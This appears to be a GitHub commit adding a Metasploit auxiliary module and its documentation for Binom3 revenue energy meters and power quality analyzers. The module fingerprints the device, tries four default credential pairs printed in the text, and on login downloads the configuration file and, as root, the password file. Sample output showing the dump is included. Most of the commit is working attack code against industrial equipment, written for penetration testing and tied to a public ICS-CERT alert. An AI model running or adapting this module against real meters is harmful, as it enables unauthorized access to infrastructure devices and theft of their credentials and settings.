Skip to content

Commit 59e31e2

Browse files
committed
Add Binom3 module
1 parent 2ff170a commit 59e31e2

File tree

2 files changed

+239
-0
lines changed

2 files changed

+239
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/binom3_login_config_pass_dump```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/http/binom3_login_config_pass_dump
14+
msf auxiliary(binom3_login_config_pass_dump) > set rhosts 1.2.3.4
15+
msf auxiliary(binom3_login_config_pass_dump) > run
16+
17+
[+] 1.3.3.7:80 - Running Binom3...
18+
[*] 1.3.3.7:80 - Trying username:"root" with password:"root"
19+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "root":"root"
20+
[+] ++++++++++++++++++++++++++++++++++++++
21+
[+] #{rhost} - dumping configuration
22+
[+] ++++++++++++++++++++++++++++++++++++++
23+
[+] 1.3.3.7:80 - File retrieved successfully!
24+
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_Binom3_config_165927.txt
25+
[+] ++++++++++++++++++++++++++++++++++++++
26+
[+] #{rhost} - dumping password file
27+
[+] ++++++++++++++++++++++++++++++++++++++
28+
[+] 1.3.3.7:80 - File retrieved successfully!
29+
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000004_moduletest_1.3.3.7_Binom3_passw_010954.txt
30+
[*] Scanned 1 of 1 hosts (100% complete)
31+
[*] Auxiliary module execution completed
32+
33+
```
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump',
17+
'Description' => %{
18+
This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found.
19+
20+
},
21+
'References' =>
22+
[
23+
['URL', 'https://ics-cert.us-cert.gov/alerts/ICS-ALERT-16-263-01']
24+
],
25+
'Author' =>
26+
[
27+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
28+
],
29+
'License' => MSF_LICENSE,
30+
'DefaultOptions' => { 'VERBOSE' => true })
31+
)
32+
33+
register_options(
34+
[
35+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
36+
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'root']),
37+
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'root'])
38+
], self.class
39+
)
40+
end
41+
42+
def run_host(ip)
43+
unless is_app_binom3?
44+
return
45+
end
46+
47+
each_user_pass do |user, pass|
48+
do_login(user, pass)
49+
end
50+
end
51+
52+
def report_cred(opts)
53+
service_data = {
54+
address: opts[:ip],
55+
port: opts[:port],
56+
service_name: opts[:service_name],
57+
protocol: 'tcp',
58+
workspace_id: myworkspace_id
59+
}
60+
61+
credential_data = {
62+
origin_type: :service,
63+
module_fullname: fullname,
64+
username: opts[:user],
65+
private_data: opts[:password],
66+
private_type: :password
67+
}.merge(service_data)
68+
69+
login_data = {
70+
last_attempted_at: Time.now,
71+
core: create_credential(credential_data),
72+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
73+
proof: opts[:proof]
74+
}.merge(service_data)
75+
76+
create_credential_login(login_data)
77+
end
78+
79+
#
80+
# Check if App is Binom3
81+
#
82+
83+
def is_app_binom3?
84+
begin
85+
res = send_request_cgi(
86+
{
87+
'uri' => '/',
88+
'method' => 'GET'
89+
}
90+
)
91+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
92+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
93+
return false
94+
end
95+
96+
if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Team-R Web') || res.body.include?('binom_ico') || res.body.include?('team-r')))
97+
98+
print_good("#{rhost}:#{rport} - Running Binom3...")
99+
100+
return true
101+
else
102+
print_error("#{rhost}:#{rport} - Application does not appear to be Binom3. Module will not continue.")
103+
return false
104+
end
105+
end
106+
107+
#
108+
# Brute-force the login page
109+
#
110+
111+
def do_login(user, pass)
112+
print_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
113+
begin
114+
115+
res = send_request_cgi(
116+
{
117+
'uri' => '/~login',
118+
'method' => 'POST',
119+
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
120+
'vars_post' =>
121+
{
122+
'login' => user,
123+
'password' => pass
124+
}
125+
}
126+
)
127+
128+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
129+
130+
vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
131+
return :abort
132+
133+
end
134+
135+
if (res && res.code == 302 && res.get_cookies.include?('IDSESSION'))
136+
137+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
138+
139+
report_cred(
140+
ip: rhost,
141+
port: rport,
142+
service_name: 'Binom3',
143+
user: user,
144+
password: pass
145+
)
146+
147+
# Set Cookie
148+
149+
get_cookie = res.get_cookies
150+
cookie = get_cookie + ' NO-HELP=true; onlyRu=1'
151+
152+
# Attempting to download config / password file(s)
153+
154+
config_uri = '~cfg_ask_xml?type=cfg'
155+
156+
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
157+
158+
if res && res.code == 200
159+
print_good('++++++++++++++++++++++++++++++++++++++')
160+
print_good('#{rhost} - dumping configuration')
161+
print_good('++++++++++++++++++++++++++++++++++++++')
162+
163+
print_good("#{rhost}:#{rport} - File retrieved successfully!")
164+
path = store_loot(
165+
'Binom3_config',
166+
'text/xml',
167+
rhost,
168+
res.body,
169+
rport,
170+
'Binom3 device config'
171+
)
172+
print_status("#{rhost}:#{rport} - File saved in: #{path}")
173+
else
174+
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
175+
return
176+
end
177+
178+
if user == 'root'
179+
config_uri = '~cfg_ask_xml?type=passw'
180+
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
181+
182+
if res && res.code == 200
183+
print_good('++++++++++++++++++++++++++++++++++++++')
184+
print_good('#{rhost} - dumping password file')
185+
print_good('++++++++++++++++++++++++++++++++++++++')
186+
187+
print_good("#{rhost}:#{rport} - File retrieved successfully!")
188+
path = store_loot(
189+
'Binom3_passw',
190+
'text/xml',
191+
rhost,
192+
res.body,
193+
rport,
194+
'Binom3 device config'
195+
)
196+
print_status("#{rhost}:#{rport} - File saved in: #{path}")
197+
else
198+
print_error("#{rhost}:#{rport} - Failed to retrieve password file")
199+
return
200+
end
201+
end
202+
else
203+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
204+
end
205+
end
206+
end

0 commit comments

Comments
 (0)